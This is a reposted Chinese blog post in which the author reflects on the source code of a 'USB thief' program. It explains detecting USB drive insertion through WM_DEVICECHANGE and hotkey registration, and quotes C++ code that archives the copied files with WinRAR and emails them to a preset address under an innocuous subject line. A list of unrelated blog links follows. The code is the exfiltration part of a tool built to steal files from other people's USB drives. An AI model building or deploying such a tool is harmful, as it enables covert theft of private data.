读"U盘小偷"有感 http://hi.baidu.com/sudami/blog/item/c53b3eec4a019cd22e2e217b.html
来源:互联网 发布:阿里云共享经济版ecs 编辑:程序博客网 时间:2024/06/06 19:19
嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:bbs.pediy.com/showthread.php读了其源码,学到一些东西:
(1) 判断移动设备的插入/拔出
嘿嘿, 以前一直觉得很神秘的"判断是否有U盘插入"其实就是这么一回事!
下面照搬作者本人的注解吧:
要先加头文件#include "dbt.h"
1.Message==WM_DEVICECHANGE
当设备被插入/拔出的时候,WINDOWS会向每个窗体发送WM_DEVICECHANGE 消息,当消息的wParam 值等于 DBT_DEVICEARRIVAL 时,表示Media设备被插入并且已经可用;如果wParam值等于DBT_DEVICEREMOVECOMPLETE,表示Media设备已经被移出。
它们的lParam都指向一个 DEV_BROADCAST_HDR结构体,其原形如下:
typedef struct _DEV_BROADCAST_HDR {
DWORD dbch_size;
DWORD dbch_devicetype;
DWORD dbch_reserved;
} DEV_BROADCAST_HDR,
*PDEV_BROADCAST_HDR;
这个结构体仅仅是一个“头”(HDR),其后还有附加数据,dbch_size表示结构体实例的字节数,当其中的dbch_devicetype字段值等于DBT_DEVTYP_VOLUME时,表示当前设备是逻辑驱动器,且lParam实际上指向的应该是DEV_BROADCAST_VOLUME 结构体实例
typedef struct _DEV_BROADCAST_VOLUME {
DWORD dbcv_size;
DWORD dbcv_devicetype;
DWORD dbcv_reserved;
DWORD dbcv_unitmask;
WORD dbcv_flags;
} DEV_BROADCAST_VOLUME,
*PDEV_BROADCAST_VOLUME;
其中dbcv_unitmask 字段表示当前改变的驱动器掩码,第一位表示驱动器号A,第二位表示驱动器号B,第三位表示驱动器号C,以此类推…… dbcv_flags 表示驱动器的类别,如果等于1,则是光盘驱动器;如果是2,则是网络驱动器;如果是硬盘、U盘则都等于0
(2)设置热键
以前设置热键没有用到 CHotKeyCtrl 这个控件. 今天看了下,发现用起来相当的方便.配合 RegisterHotKey 很实用
(3) 后台压缩文件,发邮件
WinRAR的一些命令:
// 发邮件
// 不知道怎么回是,VC 6.0的编译器出问题了,一复制出来,汉字都是乱码
void CDlg::OnSendMail()
{
if(bCopy)
{
if(this->OnWinrarPress())
{
HMODULE hMod = LoadLibrary("MAPI32.DLL");
ULONG (PASCAL *lpfnSendMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);
(FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");
CString sAddress = this->m_MailAddress;
CString sName=this->m_CopyPath;
sName+=".rar";
MapiRecipDesc recip;
memset(&recip,0,sizeof(MapiRecipDesc));
recip.lpszAddress = sAddress.GetBuffer(0);
recip.ulRecipClass = MAPI_TO;
recip.lpszName = sAddress.GetBuffer(0);
MapiFileDesc FileDesc;
memset(&FileDesc,0,sizeof(FileDesc));
FileDesc.lpszPathName=sName.GetBuffer(0);
FileDesc.nPosition=(ULONG)-1;
MapiMessage message;
memset(&message,0,sizeof(message));
message.nRecipCount = 1;
message.lpRecips = &recip;
message.nFileCount = 1;
message.lpFiles = &FileDesc;
message.lpszSubject = "Happy Every Day :-)";
message.lpszNoteText = "XXXXXX";
CWnd *pCurrentWnd = CWnd::GetSafeOwner(NULL,NULL);
int nError = lpfnSendMail(0,0,&message,MAPI_LOGON_UI | MAPI_DIALOG,0);
if(nError != SUCCESS_SUCCESS && nError != MAPI_USER_ABORT
&& nError!= MAPI_E_LOGIN_FAILURE)
{
AfxMessageBox(AFX_IDP_FAILED_MAPI_SEND);
}
pCurrentWnd->SetActiveWindow();
FreeLibrary(hMod);
}
}
}
---------------------------------------- sudami.分割线--------------------------------------------
标记几个API,免得忘了:
SHFileOperation、_splitpath、_makepath
- 读"U盘小偷"有感 http://hi.baidu.com/sudami/blog/item/c53b3eec4a019cd22e2e217b.html
- http://hi.baidu.com/heyg/blog/item/9ca8dcc4785706cb38db4937.html
- http://hi.baidu.com/suwey/blog/item/9b4d72c238e7e334e5dd3bc0.html
- http://hi.baidu.com/lhcling/blog/item/0e3e60cfa55aca3ef8dc61c0.html
- http://hi.baidu.com/jmugis/blog/item/ad03b11f89a25ef6e1fe0b18.html
- http://hi.baidu.com/nnffnn/blog/item/e84cd15c1d893943faf2c07c.html
- http://hi.baidu.com/herowzz/blog/item/286e3c546eb23157574e0077.html
- http://hi.baidu.com/kacaca/blog/item/1fd412d644f9f42907088b89.html
- http://hi.baidu.com/sophie198384/blog/item/26960501e9a757021d9583a0.html
- http://hi.baidu.com/123az/blog/item/f482f51980e8e04642a9ad6c.html
- http://hi.baidu.com/zonesky/blog/item/328d9807043c2ccb7a894717.html
- http://hi.baidu.com/shasha1918/blog/item/ee5fdf18f049fc0235fa4187.html
- http://hi.baidu.com/620734263/blog/item/513a102fa4a551424ec226f8.html
- http://hi.baidu.com/jisu3d/blog/item/f7ad4fd0ac727526960a1652.html HLSL
- http://hi.baidu.com/jsjlx2004/blog/item/74409ccbd5741619be09e6a1.html
- http://hi.baidu.com/edeed/blog/item/3e92277f7a15830028388aec.html
- http://hi.baidu.com/acrobatuv/blog/item/bc6a76012b38621d4afb512c.html
- http://hi.baidu.com/megachan/blog/item/61e1bb6cb7ab2de64316941b.html
- 基于硬件的辐射度计算的收敛问题
- java异常
- java异常
- 第一次误了火车
- 数据结构和算法的选择决定了-代码时间或者空间效率
- 读"U盘小偷"有感 http://hi.baidu.com/sudami/blog/item/c53b3eec4a019cd22e2e217b.html
- 未名down了,人生无趣
- dot net COM+简单示例
- php及相关入门资料链接
- I'm afraid I must be going.
- 经典的15句哲理名言
- 企业级应用中的Applet和Servlet的通信
- 改变人生的五句话
- eclipse的重构